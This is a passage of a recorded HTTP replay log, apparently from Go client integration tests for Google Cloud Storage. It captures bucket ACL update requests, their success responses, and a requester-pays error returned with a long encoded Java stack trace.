"eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "377" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:57 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpGeWJRYTNsu57knuRFhwHuoeUMIJhUtuQj4PLhGDoFcITB2Y--7JgaOCVhepJ6a5RRKvU9d3UrAyrtbGNOVHyW2WAbN_KpfkiFhYq8l7HPERpLDjg" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZG9tYWluLWdvb2dsZS5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL2RvbWFpbi1nb29nbGUuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDQU09In0=" - } - }, - { - "ID": "5258a70437064146", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "377" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:57 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqImoOCe_iDYCV8XHpaaEXPn-jeAf0M1MyixGju1tNCSTBIMEKDzh_wxVxapMmXWPnOes7YX0T0Fr663x7eJCl85B0EGXggUgp8bqeDV3cJ-mqeDrY" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZG9tYWluLWdvb2dsZS5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL2RvbWFpbi1nb29nbGUuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDQU09In0=" - } - }, - { - "ID": "5cef2c464b7356c8", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12243" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:58 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpH5br-AVWN2g1nkkM_FJWZIjgOgh2NGLuiyYUS7QD2DSs6B-c0IQHgC2NUyy0eZq4McQhwxBGhUJ05-WeD_bX35i7skN7Jn_q3ELAaDwpi6_x3Z8c" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5VcGRhdGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBY2xzLmphdmE6OTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5VcGRhdGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBY2xzLmphdmE6MjcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLnVwZGF0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4